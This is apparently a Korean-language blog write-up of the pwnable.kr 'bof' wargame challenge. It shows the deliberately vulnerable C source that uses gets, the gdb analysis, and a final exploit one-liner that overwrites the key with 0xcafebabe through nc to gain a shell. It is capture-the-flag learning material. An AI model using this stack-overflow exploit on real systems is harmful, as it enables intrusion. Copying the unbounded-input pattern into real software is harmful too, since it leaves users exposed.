간단한 bof 문제 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } | cs |
bof.c 소스다.
사실 여기서 살짝 해맸는데.. 저 소스 자체를 내 우분투 에서 컴파일 하여 오버플로우를 하려 했는데
gdb 보면서 key값을 덮으려고 하니 key가 저장되있는 주소가 gets로 저장되는 주소보다 아래에 있어서 어떻게 푸나 하고 고민했었다
그냥 bof 파일 다운받고 gdb로 보니 key가 저장되어 있는 주소가 위에 있어서 bof가 가능했다..
이유는 차차 찾아보려고 한다. 보호기법 때문인가 싶다
GDB로 func 디스어셈 코드를 보면 대략 감이 잡힌다.
1번 아래 부분에 있는 CALL 함수가 gets 함수다 한마디로 [ebp-0x2c] 는 입력한 문자가 저장될 주소다.
2번을 보면 [ebp+0x8] 와 0xcafebabe를 비교하는데 '나는 main 에서 가져온 0xdeadbeef 이요!' 하면서 대놓고 알려주고 있다.
스택메모리는 아래 주소에서 위로 차근차근 쌓이고 gets 함수의 입력글자 수 제한이 없기 때문에 ebp+0x8을 범할 수 있다.
해쉬값 비교하는 부분에 브포 걸어놓고 A*32 입력 후 메모리를 확인해보면 다음과 같다.
밑줄 친 부분을 보면 32개의 A를 입력하고도 20byte 메모리가 더 남은 상태다.
즉 덮어야할 메모리는 총 52byte 인걸 알 수 있다.
이제 알아낼 부분은 다 알아냈으므로 공격하면 된다.
(python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000
'Wargame > ▷ pwnable.kr' 카테고리의 다른 글
[pwnable.kr] simple login (0) | 2018.07.08 |
---|---|
[pwnable.kr] passcode (0) | 2018.03.05 |
[pwnable.kr] flag (0) | 2018.01.31 |
[pwnable.kr] collision (0) | 2018.01.31 |
[pwnable.kr] fd (0) | 2018.01.30 |